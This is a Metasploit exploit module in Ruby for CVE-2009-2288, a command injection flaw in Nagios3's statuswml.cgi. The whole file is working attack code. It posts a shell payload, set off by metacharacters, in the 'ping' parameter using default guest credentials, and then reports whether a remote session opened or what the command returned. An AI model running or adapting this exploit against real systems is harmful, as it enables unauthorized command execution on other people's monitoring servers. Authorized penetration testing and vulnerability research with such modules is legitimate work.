Nagios3 statuswml.cgi Command Injection



##

# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
            'Description'    => %q{
                This module abuses a metacharacter injection vulnerability in the
            Nagios3 statuswml.cgi script. This flaw is triggered when shell
            metacharacters are present in the parameters to the ping and
            traceroute commands.
            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision$',
            'References'     =>
                [
                    [ 'CVE', '2009-2288' ],
                    [ 'OSVDB', '55281'],
                ],
            'Platform'       => ['unix'],
            'Arch'           => ARCH_CMD,                
            'Privileged'     => false,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'DisableNops' => true,
                    'BadChars'    => '<>',
                    'Compat'      =>
                        {
                            'RequiredCmd' => 'generic perl ruby bash telnet',
                        }
                },
            'Targets'        => 
                [
                    [ 'Automatic Target', { }]
                ],
            'DefaultTarget' => 0))
            
            register_options(
                [
                    OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
                    OptString.new('USER', [true, "The username to authenticate with", "guest"]),
                    OptString.new('PASS', [true, "The password to authenticate with", "guest"]),                                
                ], self.class)
    end
    
    def exploit

        print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
        
        res = send_request_cgi({
            'method'    => 'POST',
            'uri'       => datastore['URI'],    
            'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
            'vars_post' => 
            {
                'ping' => ';' + payload.encoded + '&'
            }
        }, 10)
        
        
        if(not res)
            if session_created?
                print_status("Session created, enjoy!")
            else
                print_error("No response from the server")
            end
            return
        end
        
        if(res.code == 401)
            print_error("Please specify correct values for USER and PASS")
            return
        end
        
        if(res.code == 404)
            print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
            return
        end
        
        if(res.body =~ /Invalid host name/)
            print_error("This server has already been patched")
            return
        end
        
        if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
            print_status("Displaying command response")
            out = $1
            print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
            return
        end

        
        print_status("Unknown response, displaying raw HTML")
        print_line(res.body)
    end

end